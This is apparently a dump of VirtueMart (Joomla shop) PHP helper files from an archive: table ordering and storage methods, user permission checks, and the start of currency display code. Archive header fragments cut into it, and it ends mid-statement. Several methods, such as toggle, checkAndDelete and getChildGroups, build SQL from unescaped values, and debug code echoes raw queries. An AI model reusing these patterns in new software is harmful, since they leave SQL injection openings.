//$langData[$name] = $data[$name]; $langData[$name] = htmlentities($data[$name], ENT_QUOTES, "UTF-8"); } else { // $langData[$name] = ''; } unset($this->$name); if (!empty($this->_unique_name[$name])) { $langUniqueKeys[$name] = vmText::sprintf('COM_VIRTUEMART_STRING_ERROR_NOT_UNIQUE_NAME', vmText::_('COM_VIRTUEMART_' . strtoupper($name))); unset($this->_unique_name[$name]); $langObKeys[$name] = vmText::sprintf('COM_VIRTUEMART_STRING_ERROR_OBLIGATORY_KEY', vmText::_('COM_VIRTUEMART_' . strtoupper($name))); unset($this->_obkeys[$name]); } if (!empty($this->_obkeys[$name])) { $langObKeys[$name] = vmText::sprintf('COM_VIRTUEMART_STRING_ERROR_OBLIGATORY_KEY', vmText::_('COM_VIRTUEMART_' . strtoupper($name))); unset($this->_obkeys[$name]); } } // $langTable->$tblKey = $data[$tblKey]; } $langTable->_unique_name = $langUniqueKeys; $langTable->_obkeys = $langObKeys; $langTable->_slugAutoName = $this->_slugAutoName; unset($this->_slugAutoName); $langTable->_slugName = 'slug'; unset($this->_slugName); $langTable->setProperties($langData); $langTable->_translatable = false; //We must check the langtable BEFORE we store the normal table, cause the langtable is often defining if there are enough data to store it (for exmple the name) if ($ok) { //vmdebug('my langtable before bind',$langTable->id); if (!$langTable->bind($data)) { $ok = false; $msg = 'bind'; // vmdebug('Problem in bind '.get_class($this).' '.$this->_db->getErrorMsg()); vmdebug('Problem in bind ' . get_class($this) . ' '); } } if ($ok) { if (!$langTable->check()) { $ok = false; vmdebug('Check returned false ' . get_class($langTable) . ' ' . $this->_tbl . ' ' . $langTable->_db->getErrorMsg()); } } if ($ok) { $this->bindChecknStoreNoLang($data, $preload); $langTable->$tblKey = !empty($this->$tblKey) ? $this->$tblKey : 0; //vmdebug('bindChecknStoreNoLang my $tblKey '.$tblKey.' '.$langTable->$tblKey); if ($ok and $preload) { if (!empty($langTable->$tblKey)) { $id = $langTable->$tblKey; if (!$langTable->load($id)) { $ok = false; vmdebug('Preloading of language table failed, no id given, cannot store ' . $this->_tbl); } } else { if ($ok) { if (!$langTable->bind($data)) { $ok = false; vmdebug('Problem in bind ' . get_class($this) . ' '); } } if ($ok) { if (!$langTable->check()) { $ok = false; vmdebug('Check returned false ' . get_class($langTable) . ' ' . $this->_tbl . ' ' . $langTable->_db->getErrorMsg()); } } } } if ($ok) { if (!$langTable->store()) { $ok = false; // $msg .= ' store'; vmdebug('Problem in store with langtable ' . get_class($langTable) . ' with ' . $tblKey . ' = ' . $this->$tblKey . ' ' . $langTable->_db->getErrorMsg()); } } } } else { if (!$this->bindChecknStoreNoLang($data, $preload)) { $ok = false; } } return $ok; } function bindChecknStoreNoLang(&$data, $preload = false) { $tblKey = $this->_tbl_key; if ($preload) { if (is_object($data)) { if (!empty($data->$tblKey)) { $this->load($data->$tblKey); } } else { if (!empty($data[$tblKey])) { $this->load($data[$tblKey]); } } if ($this->_translatable) { foreach ($this->_translatableFields as $name) { unset($this->$name); } } //vmdebug('bindChecknStoreNoLang language unloaded, why?'); } $ok = true; $msg = ''; if (!$this->bind($data)) { $ok = false; $msg = 'bind'; // vmdebug('Problem in bind '.get_class($this).' '.$this->_db->getErrorMsg()); vmdebug('Problem in bind ' . get_class($this) . ' '); } if ($ok) { if (!$this->checkDataContainsTableFields($data)) { $ok = false; // $msg .= ' developer notice:: checkDataContainsTableFields'; } } if ($ok) { if (!$this->check()) { $ok = false; $msg .= ' check'; vmdebug('Check no lang returned false ' . get_class($this) . ' ' . $this->_db->getErrorMsg()); return false; } } if ($ok) { if (!$this->store($this->_updateNulls)) { $ok = false; $msg .= ' store'; vmdebug('Problem in store ' . get_class($this) . ' ' . $this->_db->getErrorMsg()); return false; } } if (is_object($data)) { $data->$tblKey = !empty($this->$tblKey) ? $this->$tblKey : 0; } else { $data[$tblKey] = !empty($this->$tblKey) ? $this->$tblKey : 0; } // vmdebug('bindChecknStore '.get_class($this).' '.$this->_db->getErrorMsg()); //This should return $ok and not the data, because it is already updated due use of reference return $data; } /** * Description * will make sure that all items in the table are not using the same ordering values * @author stAn * @access public * $where -> limits the categories if a child category of another one */ function fixOrdering($where = '') { $where = $where ? ' WHERE ' . $where : ''; // fast check for duplicities $q = 'SELECT `' . $this->_tbl_key . '` FROM `' . $this->_tbl . '` GROUP BY `' . $this->_orderingKey . '` HAVING COUNT(*) >= 2 ' . $where . ' LIMIT 1'; $this->_db->setQuery($q); $res = $this->_db->loadAssocList(); if (empty($res)) return true; $q = ' SELECT `' . $this->_tbl_key . '` FROM `' . $this->_tbl . '` ' . $where . ' ORDER BY `' . $this->_orderingKey . '` ASC'; $this->_db->setQuery($q, 0, 999999); $res = $this->_db->loadAssocList(); $e = $this->_db->getErrorMsg(); if (!empty($e)) { vmError(get_class($this) . $e); } echo $q . "
\n"; // no data in the table if (empty($res)) return true; // we will set ordering to 5,10,15,20,25 so there is enough space in between for manual editing $start = 5; // it is not really optimized to load full table into array, a while loop would be better especially when having thousands of categories foreach ($res as $row) { $q = 'UPDATE `' . $this->_tbl . '` SET `' . $this->_orderingKey . '` = ' . (int)$start . ' WHERE `' . $this->_tbl_key . '`= ' . $row[$this->_tbl_key] . ' LIMIT 1'; $this->_db->setQuery($q); $r = $this->_db->execute($q); $start = $start + 5; } } /** * Description * * @author Joomla Team, Max Milbers * @access public * @param $dirn * @param $where */ function move($dirn, $where = '', $orderingkey = 0) { // for some reason this function is not used from categories $this->fixOrdering(); $k = $this->_tbl_key; // problem here was that $this->$k returned (0) $cid = vRequest::getInt($this->_pkeyForm); if (!empty($cid) && (is_array($cid))) { $cid = reset($cid); } else { // either we fix custom fields or fix it here: $cid = vRequest::getVar('virtuemart_custom_id'); if (!empty($cid) && (is_array($cid))) { $cid = reset($cid); } else { vmError(get_class($this) . ' is missing cid information !'); return false; } } // stAn: if somebody knows how to get current `ordering` of selected cid (i.e. virtuemart_userinfo_id or virtuemart_category_id from defined vars, you can review the code below) $q = "SELECT `" . $this->_orderingKey . '` FROM `' . $this->_tbl . '` WHERE `' . $this->_tbl_key . "` = '" . (int)$cid . "' limit 0,1"; if (!isset(self::$_cache[md5($q)])) { $this->_db->setQuery($q); $c_order = $this->_db->loadResult(); // current ordering value of cid } else { $c_order = self::$_cache[md5($q)]; } $this->$orderingkey = $c_order; $e = $this->_db->getErrorMsg(); if (!empty($e)) { vmError(get_class($this) . $e); } // stAn addition: $where .= ' `' . $this->_tbl_key . '` <> ' . (int)$cid . ' '; // explanation: // select one above or under which is not cid and update/set it's ordering of the original cid // could be done with one complex query... but this is more straitforward and the speed is not that much needed in this one if (!empty($orderingkey)) $this->_orderingKey = $orderingkey; if (!in_array($this->_orderingKey, array_keys($this->getProperties()))) { vmError(get_class($this) . ' does not support ordering'); return false; } $k = $this->_tbl_key; // virtuemart_userfield_id column name $orderingKey = $this->_orderingKey; // ordering column name $sql = 'SELECT `' . $this->_tbl_key . '`, `' . $this->_orderingKey . '` FROM ' . $this->_tbl; if ($dirn < 0) { $sql .= ' WHERE `' . $this->_orderingKey . '` <= ' . (int)$c_order; $sql .= ($where ? ' AND ' . $where : ''); $sql .= ' ORDER BY `' . $this->_orderingKey . '` DESC'; } else if ($dirn > 0) { $sql .= ' WHERE `' . $this->_orderingKey . '` >= ' . (int)$c_order; $sql .= ($where ? ' AND ' . $where : ''); $sql .= ' ORDER BY `' . $this->_orderingKey . '`'; } else { $sql .= ' WHERE `' . $this->_orderingKey . '` = ' . (int)$c_order; $sql .= ($where ? ' AND ' . $where : ''); $sql .= ' ORDER BY `' . $this->_orderingKey . '`'; } if (!isset(self::$_cache[md5($sql)])) { $this->_db->setQuery($sql, 0, 1); $row = null; $row = $this->_db->loadObject(); } else $row = self::$_cache[md5($sql)]; if (isset($row)) { // ok, we have a problem here - previous or next item has the same ordering as the current one // we need to fix the ordering be reordering it all if ((int)$row->$orderingKey == $c_order) { // if we fix this while loading the ordering, it will slow down FE } // update the next or previous to have the same ordering as the selected $query = 'UPDATE ' . $this->_tbl . ' SET `' . $this->_orderingKey . '` = ' . (int)$c_order . ' WHERE ' . $this->_tbl_key . ' = ' . (int)$row->$k . ' LIMIT 1'; $this->_db->setQuery($query); echo "\n" . $query . '
'; if (!$this->_db->execute()) { $err = $this->_db->getErrorMsg(); JError::raiseError(500, get_class($this) . ':: move isset row $row->$k' . $err); } // update the currently selected to have the same ordering as the next or previous $query = 'UPDATE ' . $this->_tbl . ' SET `' . $this->_orderingKey . '` = ' . (int)$row->$orderingKey . ' WHERE ' . $this->_tbl_key . ' = "' . (int)$cid . '" LIMIT 1'; $this->_db->setQuery($query); //echo $query.'
'; die(); if (!$this->_db->execute()) { $err = $this->_db->getErrorMsg(); JError::raiseError(500, get_class($this) . ':: move isset row $row->$k' . $err); } // stAn, what for is this? $this->ordering = $row->$orderingKey; } else { // stAn: why should we update the same line with the same information when no next or previous found (?) $query = 'UPDATE ' . $this->_tbl . ' SET `' . $this->_orderingKey . '` = ' . (int)$this->$orderingKey . ' WHERE ' . $this->_tbl_key . ' = "' . $this->_db->escape($this->$k) . '" LIMIT 1'; $this->_db->setQuery($query); if (!$this->_db->execute()) { $err = $this->_db->getErrorMsg(); JError::raiseError(500, get_class($this) . ':: move update $this->$k' . $err); } } return true; } /** * Returns the ordering value to place a new item last in its group * * @access public * @param string query WHERE clause for selecting MAX(ordering). */ function getNextOrder($where = '', $orderingkey = 0) { $where = $this->_db->escape($where); $orderingkey = $this->_db->escape($orderingkey); if (!empty($orderingkey)) $this->_orderingKey = $orderingkey; if (!in_array($this->_orderingKey, array_keys($this->getProperties()))) { vmError(get_class($this) . ' does not support ordering'); return false; } $query = 'SELECT MAX(`' . $this->_orderingKey . '`)' . ' FROM ' . $this->_tbl . ($where ? ' WHERE ' . $where : ''); if (!isset(self::$_cache[md5($query)])) { $this->_db->setQuery($query); $maxord = $this->_db->loadResult(); } else $maxord = self::$_cache[md5($query)]; if ($this->_db->getErrorNum()) { vmError(get_class($this) . ' getNextOrder ' . $this->_db->getErrorMsg()); return false; } return $maxord + 1; } /** * Compacts the ordering sequence of the selected records * * @access public * @param string Additional where query to limit ordering to a particular subset of records */ function reorder($where = '', $orderingkey = 0) { $where = $this->_db->escape($where); $orderingkey = $this->_db->escape($orderingkey); if (!empty($orderingkey)) $this->_orderingKey = $orderingkey; $k = $this->_tbl_key; if (!in_array($this->_orderingKey, array_keys($this->getProperties()))) { vmError(get_class($this) . ' does not support ordering'); return false; } if ($this->_tbl == '#__content_frontpage') { $order2 = ", content_id DESC"; } else { $order2 = ""; } $query = 'SELECT ' . $this->_tbl_key . ', ' . $this->_orderingKey . ' FROM ' . $this->_tbl . ' WHERE `' . $this->_orderingKey . '` >= 0' . ($where ? ' AND ' . $where : '') . ' ORDER BY `' . $this->_orderingKey . '` ' . $order2; $this->_db->setQuery($query); if (!($orders = $this->_db->loadObjectList())) { vmError(get_class($this) . ' reorder ' . $this->_db->getErrorMsg()); return false; } $orderingKey = $this->_orderingKey; // compact the ordering numbers for ($i = 0, $n = count($orders); $i < $n; $i++) { if ($orders[$i]->$orderingKey >= 0) { if ($orders[$i]->$orderingKey != $i + 1) { $orders[$i]->$orderingKey = $i + 1; $query = 'UPDATE ' . $this->_tbl . ' SET `' . $this->_orderingKey . '` = "' . $this->_db->escape($orders[$i]->$orderingKey) . '" WHERE ' . $k . ' = "' . $this->_db->escape($orders[$i]->$k) . '"'; $this->_db->setQuery($query); $this->_db->execute(); } } } return true; } /** * Checks out a row * * @access public * @param integer The id of the user * @param mixed The primary key value for the row * @return boolean True if successful, or if checkout is not supported */ function checkout($who, $oid = null) { if (!in_array('locked_by', array_keys($this->getProperties()))) { return true; } $k = $this->_tbl_key; if ($oid !== null) { $this->$k = $oid; } $config = JFactory::getConfig(); $siteOffset = $config->get('offset'); $date = JFactory::getDate('now', $siteOffset); $time = $date->toSql(); $query = 'UPDATE ' . $this->_db->quoteName($this->_tbl) . ' SET locked_by = ' . (int)$who . ', locked_on = "' . $this->_db->escape($time) . '" WHERE ' . $this->_tbl_key . ' = "' . $this->_db->escape($this->$k) . '"'; $this->_db->setQuery($query); $this->locked_by = $who; $this->locked_on = $time; return $this->_db->execute(); } /** * Checks in a row * * @access public * @param mixed The primary key value for the row * @return boolean True if successful, or if checkout is not supported */ function checkin($oid = null) { if (!( in_array('locked_by', array_keys($this->getProperties())) || in_array('locked_on', array_keys($this->getProperties())) ) ) { return true; } $k = $this->_tbl_key; if ($oid !== null) { $this->$k = $oid; } if ($this->$k == NULL) { return false; } $query = 'UPDATE ' . $this->_db->quoteName($this->_tbl) . ' SET locked_by = 0, locked_on = "' . $this->_db->escape($this->_db->getNullDate()) . '" WHERE ' . $this->_tbl_key . ' = "' . $this->_db->escape($this->$k) . '"'; $this->_db->setQuery($query); $this->locked_by = 0; $this->locked_on = ''; return $this->_db->execute(); } /** * Check if an item is checked out * * This function can be used as a static function too, when you do so you need to also provide the * a value for the $against parameter. * * @static * @access public * @param integer $with The userid to preform the match with, if an item is checked out * by this user the function will return false * @param integer $against The userid to perform the match against when the function is used as * a static function. * @return boolean */ function isCheckedOut($with = 0, $against = null) { if (isset($this) && is_a($this, 'JTable') && is_null($against)) { $against = $this->get('locked_by'); } //item is not checked out, or being checked out by the same user if (!$against || $against == $with) { return false; } $session = JTable::getInstance('session'); return $session->exists($against); } /** * toggle (0/1) a field * or invert by $val * @author impleri * @author Max Milbers * @param string $field the field to toggle * @param boolean $val field value (0/1) * @todo could make this multi-id as well... */ function toggle($field, $val = NULL) { if ($val === NULL) { $this->$field = !$this->$field; } else { $this->$field = $val; } $k = $this->_tbl_key; $q = 'UPDATE `' . $this->_tbl . '` SET `' . $field . '` = "' . $this->$field . '" WHERE `' . $k . '` = "' . $this->$k . '" '; $this->_db->setQuery($q); if (!$res = $this->_db->execute()) { vmError('There was an error toggling ' . $field, $this->_db->getErrorMsg()); } else { vmdebug('Toggled '.$q ); } return $res; } public function resetErrors() { $this->_errors = array(); } function delete($oid = null, $where = 0) { $k = $this->_tbl_key; if ($oid) { $this->$k = intval($oid); } $mainTableError = $this->checkAndDelete($this->_tbl, $where); if ($this->_translatable) { $langs = VmConfig::get('active_languages', array()); if (!$langs) $langs[] = VmConfig::$vmlang; if (!class_exists('VmTableData')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'vmtabledata.php'); foreach ($langs as $lang) { $lang = strtolower(strtr($lang, '-', '_')); $langError = $this->checkAndDelete($this->_tbl . '_' . $lang); $mainTableError = min($mainTableError, $langError); } } return $mainTableError; } // author stAn // returns true when mysql version is larger than 5.0 function isMysql51Plus() { $r = $this->getMysqlVersion(); return version_compare($r, '5.1.0', '>='); } // author: stan, added in 2.0.16+ // returns mysql version for query optimalization function getMysqlVersion() { $q = 'select version()'; if (!isset(self::$_cache[md5($q)])) { $this->_db->setQuery($q); return $this->_db->loadResult(); } else return self::$_cache[md5($q)]; } function checkAndDelete($table, $whereField = 0, $andWhere = '') { $ok = 1; $k = $this->_tbl_key; if ($whereField !== 0) { $whereKey = $whereField; } else { $whereKey = $this->_pkey; } $query = 'SELECT `' . $this->_tbl_key . '` FROM `' . $table . '` WHERE `' . $whereKey . '` = "' . $this->$k . '" '.$andWhere; $this->_db->setQuery($query); // vmdebug('checkAndDelete',$query); $list = $this->_db->loadColumn(); // vmdebug('checkAndDelete',$list); if ($list) { foreach ($list as $row) { $ok = $row; $query = 'DELETE FROM `' . $table . '` WHERE ' . $this->_tbl_key . ' = "' . $row . '"'; $this->_db->setQuery($query); if (!$this->_db->execute()) { $this->setError($this->_db->getErrorMsg()); vmError('checkAndDelete ' . $this->_db->getErrorMsg()); $ok = 0; } } } return $ok; } /** * Add, change or drop userfields * * @param string $_act Action: ADD, DROP or CHANGE (synonyms available, see the switch cases) * @param string $_col Column name * @param string $_type fieldtype * @param string $_col2 Second Column name * @return boolean True on success * @author Oscar van Eijk * * stAn - note: i disabled deleting of user data when a column (shopper field) is deleted. If a deletion of specific user or order is needed, it can be done separatedly * The column if not set with $_col2 will be renamed to ORIGINALNAME_DELETED_{timestamp()} and depending on mysql version it's definition will change */ function _modifyColumn($_act, $_col, $_type = '', $_col2 = '') { $_sql = 'ALTER TABLE `' . $this->_tbl . '` '; $_check_act = strtoupper(substr($_act, 0, 3)); //Check if a column is there //$columns = $this->_db->getTableColumns($this->_tbl); $columns = $this->showFullColumns('Field','Type',false); $res = array_key_exists($_col, $columns); if ($_check_act != 'ADD' and $_check_act != 'CRE') { if (!$res) { vmdebug('_modifyColumn Command was ' . $_check_act . ' column does not exist, changed to ADD'); $_check_act = 'ADD'; } } else { if ($res) { vmdebug('_modifyColumn Command was ' . $_check_act . ' column already exists, changed to MOD'); $_check_act = 'UPD'; } } switch ($_check_act) { case 'ADD': case 'CRE': // Create $_sql .= "ADD $_col $_type "; break; case 'DRO': // Drop case 'DEL': // Delete //stAn, i strongly do not recommend to delete customer information only because a field was deleted if (empty($_col2)){ $_col2 = $_col . '_DELETED_' . time(); vmInfo('Be aware the column of table '.$this->_tbl.' is not deleted, only renamed to '.$_col2); } if (!$this->isMysql51Plus()) { if (empty($_type)) $_type = 'TEXT CHARACTER SET utf8'; } // NOT NULL not allowed for deleted columns //$t_type = str_ireplace(' NOT ', '', $_type); $_sql .= "CHANGE $_col $_col2 $_type "; //was: $_sql .= "DROP $_col "; break; case 'MOD': // Modify case 'UPD': // Update case 'CHA': // Change if (empty($col2)) $_col2 = $_col; // change type only $_sql .= "CHANGE $_col $_col2 $_type "; break; } $this->_db->setQuery($_sql); $this->_db->execute(); if ($this->_db->getErrorNum() != 0) { vmError(get_class($this) . '::modify table - ' . $this->_db->getErrorMsg() . '
values: action ' . $_act . ', columname: ' . $_col . ', type: ' . $_type . ', columname2: ' . $_col2); return false; } vmdebug('_modifyColumn executed successfully ' . $_sql); return true; } } PKB\'#helpers/reportfunctions.phpnuW+A_db = JFactory::getDBO(); } } //pure php no tagPKB\ 4 4helpers/permissions.phpnuW+A_db = JFactory::getDBO(); $this->_perms = $this->doAuthentication(); $user = JFactory::getUser(); } static public function getInstance() { if(!is_object(self::$_instance)){ self::$_instance = new Permissions(); }else { } return self::$_instance; } /** * Get permissions for a user ID * * @param int $virtuemart_user_id the user ID to check. If no user ID is given the currently logged in user will be used. * @return string permissions */ public function getPermissions ($userId=null) { // default to current user if ($userId == null) { $user = JFactory::getUser(); $userId = $user->id; } // only re-run authentication if we have a different user //vmdebug('getPermissions',$this->_virtuemart_user_id,$userId); if ($userId != $this->_virtuemart_user_id) { $perms = $this->doAuthentication($userId); } else { $perms = $this->_perms; } return $perms; } /** * description: Validates if someone is registered customer. * by checking if one has a billing address * parameters: virtuemart_user_id * returns: true if the user has a BT address * false if the user has none * * Check if a user is registered in the shop (=customer) * * @param int $virtuemart_user_id the user ID to check. If no user ID is given the currently logged in user will be used. * @return boolean */ public function isRegisteredCustomer($virtuemart_user_id=0) { if ($virtuemart_user_id == 0) { /* Lets see if we can get the current signed in user */ $user = JFactory::getUser(); if ($user->id == 0) return false; else $virtuemart_user_id = $user->id; } $this->_db = JFactory::getDBO(); /* If the registration type is neither "no registration" nor "optional registration", there *must* be a related Joomla! user, we can join */ if (VmConfig::get('vm_registration_type') != 'NO_REGISTRATION' && VmConfig::get('vm_registration_type') != 'OPTIONAL_REGISTRATION') { $q = "SELECT COUNT(virtuemart_user_id) AS num_rows FROM `#__virtuemart_userinfos`, `#__users` WHERE `id`=`virtuemart_user_id` AND #__virtuemart_userinfos.virtuemart_user_id='" . (int)$virtuemart_user_id . "' AND #__virtuemart_userinfos.address_type='BT'"; } else { $q = "SELECT COUNT(virtuemart_user_id) AS num_rows FROM `#__virtuemart_userinfos` WHERE #__virtuemart_userinfos.virtuemart_user_id='" . (int)$virtuemart_user_id . "' AND #__virtuemart_userinfos.address_type='BT'"; } $this->_db->setQuery($q); return $this->_db->loadResult(); } /** * This function does the basic authentication * for a user in the shop. * It assigns permissions, the name, country, zip and * the shopper group id with the user and the session. * @return array Authentication information */ function doAuthentication ($user_id=null) { $this->_db = JFactory::getDBO(); $session = JFactory::getSession(); $user = JFactory::getUser($user_id); if(!empty($user->id)){ $this->_virtuemart_user_id = $user->id; //We must prevent that Administrators or Managers are 'just' shoppers //TODO rewrite it working correctly with jooomla ACL if(JVM_VERSION === 2 ){ if($user->authorise('core.admin')){ $perm = 'admin'; } } else { if(strpos($user->usertype,'Administrator')!== false){ $perm = 'admin'; } } if(empty($perm)){ if(JVM_VERSION === 2 ){ if($user->groups){ if($user->authorise('core.admin')){ $perm = 'admin'; } else if($user->authorise('core.manage')){ $perm = 'storeadmin'; } else { $perm = 'shopper'; } } else { $perm = 'shopper'; } } else { if(strpos($user->usertype,'Administrator')!== false){ $perm = 'admin'; } else if(strpos($user->usertype,'Manager')!== false){ $perm = 'storeadmin'; } else { $perm = 'shopper'; } } } $this->_is_registered_customer = true; } else { $this->_virtuemart_user_id = 0; $perm = 'shopper'; $this->_is_registered_customer = false; } return $perm; } /** * Validates the permission to do something. * * @param string $perms * @return boolean Check successful or not * @example $perm->check( 'admin,storeadmin' ); * returns true when the user is admin or storeadmin */ public function check($perms) { $user = JFactory::getUser(); if(strpos($perms,',')!==FALSE){ $perms = explode(',',$perms); } else { $perms = array($perms); } foreach($perms as $perm){ if($perm=='admin'){ if($user->authorise('core.admin')){ return true; } } if($perm=='storeadmin'){ if($user->authorise('core.manage')){ return true; } } } return false; /* Set the authorization for use */ // Parse all permissions in argument, comma separated // It is assumed auth_user only has one group per user. /* $p1 = explode(",", $this->_perms); $p2 = explode(",", $perms); // vmdebug('check '.$perms,$p1,$p2); while (list($key1, $value1) = each($p1)) { while (list($key2, $value2) = each($p2)) { if ($value1 == $value2) { return true; } } } return false;*/ } /** * Checks if user is admin or has vendorId=1, * if superadmin, but not a vendor it gives back vendorId=1 (single vendor, but multiuser administrated) * * @author Mattheo Vicini * @author Max Milbers */ public function isSuperVendor(){ $user = JFactory::getUser(); if(!$this->_vendorId){ if(!empty( $user->id)){ $q='SELECT `virtuemart_vendor_id` FROM `#__virtuemart_vmusers` `au` WHERE `au`.`virtuemart_user_id`="' .$user->id.'" AND `au`.`user_is_vendor` = "1" '; $db= JFactory::getDbo(); $db->setQuery($q); $virtuemart_vendor_id = $db->loadResult(); if ($virtuemart_vendor_id) { $this->_vendorId = $virtuemart_vendor_id; } else { $this->_vendorId = 0; } } else { return false; } } if($this->_vendorId!=0){ return $this->_vendorId; } else { if($user->authorise('core.admin', 'com_virtuemart') or $user->authorise('core.manage', 'com_virtuemart') ){ $this->_vendorId = 1; return $this->_vendorId; } } return false; } /** * lists the permission levels in a select box * @author pablo * @param string $name The name of the select element * @param string $group_name The preselected key */ function list_perms( $name, $group_name, $size=1, $multi=false ) { $auth = $_SESSION['auth']; if( $multi ) { $multi = 'multiple="multiple"'; } // Get users current permission value $dvalue = $this->user_groups[$this->_perms]; $perms = $this->getUserGroups(); arsort( $perms ); if( $size==1 ) { $values[0] = JText::_('COM_VIRTUEMART_SELECT'); } foreach($perms as $key => $value) { // Display only those permission that this user can set if ($value >= $dvalue) { $values[$key] = $key; } } if( $size > 1 ) { $name .= '[]'; $values['none'] = JText::_('COM_VIRTUEMART_NO_RESTRICTION'); } echo VmHTML::selectList( $name, $group_name, $values, $size, $multi ); } /** * Here we insert groups that are allowed to view prices * */ function prepareACL() { // The basic ACL integration in Mambo/Joomla is not awesome $child_groups = self::getChildGroups( '#__core_acl_aro_groups', 'g1.virtuemart_shoppergroup_id, g1.name, COUNT(g2.name) AS level', 'g1.name', null, VmConfig::get('vm_price_access_level')); echo '
'.print_r($child_groups,1).'
'; foreach( $child_groups as $child_group ) { self::_addToGlobalACL( 'virtuemart', 'prices', 'users', $child_group->name, null, null ); } $admin_groups = self::getChildGroups( '#__core_acl_aro_groups', 'g1.virtuemart_shoppergroup_id, g1.name, COUNT(g2.name) AS level', 'g1.name', null, 'Public Backend' ); foreach( $admin_groups as $child_group ) { self::_addToGlobalACL( 'virtuemart', 'prices', 'users', $child_group->name, null, null ); } } /** * Function from an old Mambo phpgacl integration function * @deprecated (but necessary, sigh!) * @static * @param string $table * @param string $fields * @param string $groupby * @param int $root_id * @param string $root_name * @param boolean $inclusive * @return array */ function getChildGroups($table, $fields, $groupby=null, $root_id=null, $root_name=null, $inclusive=true) { $database = JFactory::getDBO(); $root = new stdClass(); $root->lft = 0; $root->rgt = 0; $fields = str_replace( 'virtuemart_shoppergroup_id', 'id', $fields ); if ($root_id) { } else if ($root_name) { $database->setQuery("SELECT `lft`, `rgt` FROM `".$table."` WHERE `name`='".$root_name."'" ); $root = $database->loadObject(); } $where = ''; if ($root->lft+$root->rgt != 0) { if ($inclusive) { $where = "WHERE g1.lft BETWEEN $root->lft AND $root->rgt"; } else { $where = "WHERE g1.lft BETWEEN $root->lft+1 AND $root->rgt-1"; } } $database->setQuery( "SELECT ".$fields . "\nFROM ".$table." AS g1" . "\nINNER JOIN ".$table." AS g2 ON g1.lft BETWEEN g2.lft AND g2.rgt" . "\n". $where . ($groupby ? "\nGROUP BY ".$groupby : "") . "\nORDER BY g1.lft" ); return $database->loadObjectList(); } /** * This is a temporary function to allow 3PD's to add basic ACL checks for their * modules and components. NOTE: this information will be compiled in the db * in future versions * @static * @param unknown_type $aco_section_value * @param unknown_type $aco_value * @param unknown_type $aro_section_value * @param unknown_type $aro_value * @param unknown_type $axo_section_value * @param unknown_type $axo_value */ function _addToGlobalACL( $aco_section_value, $aco_value, $aro_section_value, $aro_value, $axo_section_value=NULL, $axo_value=NULL ) { global $acl; $acl->acl[] = array( $aco_section_value, $aco_value, $aro_section_value, $aro_value, $axo_section_value, $axo_value ); $acl->acl_count = count( $acl->acl ); } /** * Returns a tree with the children of the root group id * @static * @param int $root_id * @param string $root_name * @param boolean $inclusive * @return unknown */ function getGroupChildrenTree( $root_id=null, $root_name=null, $inclusive=true ) { global $database, $_VERSION; $tree = ps_perm::getChildGroups( '#__core_acl_aro_groups', 'g1.virtuemart_shoppergroup_id, g1.name, COUNT(g2.name) AS level', 'g1.name', $root_id, $root_name, $inclusive ); // first pass get level limits $n = count( $tree ); $min = $tree[0]->level; $max = $tree[0]->level; for ($i=0; $i < $n; $i++) { $min = min( $min, $tree[$i]->level ); $max = max( $max, $tree[$i]->level ); } $indents = array(); foreach (range( $min, $max ) as $i) { $indents[$i] = '      '; } // correction for first indent $indents[$min] = ''; $list = array(); for ($i=$n-1; $i >= 0; $i--) { $shim = ''; foreach (range( $min, $tree[$i]->level ) as $j) { $shim .= $indents[$j]; } if (@$indents[$tree[$i]->level+1] == '. ') { $twist = ' '; } else { $twist = "- "; } if( $_VERSION->PRODUCT == 'Joomla!' && $_VERSION->RELEASE >= 1.5 ) { $tree[$i]->virtuemart_shoppergroup_id = $tree[$i]->id; } $list[$tree[$i]->virtuemart_shoppergroup_id] = $shim.$twist.$tree[$i]->name; if ($tree[$i]->level < @$tree[$i-1]->level) { $indents[$tree[$i]->level+1] = '. '; } } ksort($list); return $list; } } //pure php no closing tagPKB\ &HLLhelpers/currencydisplay.phpnuW+A_app = JFactory::getApplication(); if(empty($vendorId)) $vendorId = 1; $this->_db = JFactory::getDBO(); $q = 'SELECT `vendor_currency`,`currency_code_3`,`currency_numeric_code` FROM `#__virtuemart_vendors` AS v LEFT JOIN `#__virtuemart_currencies` AS c ON virtuemart_currency_id = vendor_currency WHERE v.`virtuemart_vendor_id`="'.(int)$vendorId.'"'; $this->_db->setQuery($q); $row = $this->_db->loadRow(); $this->_vendorCurrency = $row[0]; $this->_vendorCurrency_code_3 = $row[1]; $this->_vendorCurrency_numeric = (int)$row[2]; //vmdebug('$row ',$row); $converterFile = VmConfig::get('currency_converter_module','convertECB.php'); if (file_exists( JPATH_VM_ADMINISTRATOR.DS.'plugins'.DS.'currency_converter'.DS.$converterFile ) and !is_dir(JPATH_VM_ADMINISTRATOR.DS.'plugins'.DS.'currency_converter'.DS.$converterFile)) { $module_filename=substr($converterFile, 0, -4); require_once(JPATH_VM_ADMINISTRATOR.DS.'plugins'.DS.'currency_converter'.DS.$converterFile); if( class_exists( $module_filename )) { $this->_currencyConverter = new $module_filename(); } } else { if(!class_exists('convertECB')) require(JPATH_VM_ADMINISTRATOR.DS.'plugins'.DS.'currency_converter'.DS.'convertECB.php'); $this->_currencyConverter = new convertECB(); } } /** * * Gives back the format of the currency, gets $style if none is set, with the currency Id, when nothing is found it tries the vendorId. * When no param is set, you get the format of the mainvendor * * @author Max Milbers * @param int $currencyId Id of the currency * @param int $vendorId Id of the vendor * @param string $style The vendor_currency_display_code * FORMAT: 1: id, 2: CurrencySymbol, 3: NumberOfDecimalsAfterDecimalSymbol, 4: DecimalSymbol, 5: Thousands separator 6: Currency symbol position with Positive values : 7: Currency symbol position with Negative values : EXAMPLE: ||€|2|,||1|8 * @return string */ static public function getInstance($currencyId=0,$vendorId=0){ // if(empty(self::$_instance) || empty(self::$_instance->_currency_id) || ($currencyId!=self::$_instance->_currency_id && !empty($currencyId)) ){ if(empty(self::$_instance) || (!empty($currencyId) and $currencyId!=self::$_instance->_currency_id) ){ self::$_instance = new CurrencyDisplay($vendorId); if(empty($currencyId)){ if(self::$_instance->_app->isSite()){ self::$_instance->_currency_id = self::$_instance->_app->getUserStateFromRequest( "virtuemart_currency_id", 'virtuemart_currency_id',JRequest::getInt('virtuemart_currency_id', 0)); } if(empty(self::$_instance->_currency_id)){ self::$_instance->_currency_id = self::$_instance->_vendorCurrency; } } else { self::$_instance->_currency_id = $currencyId; } $q = 'SELECT * FROM `#__virtuemart_currencies` WHERE `virtuemart_currency_id`="'.(int)self::$_instance->_currency_id.'"'; self::$_instance->_db->setQuery($q); $style = 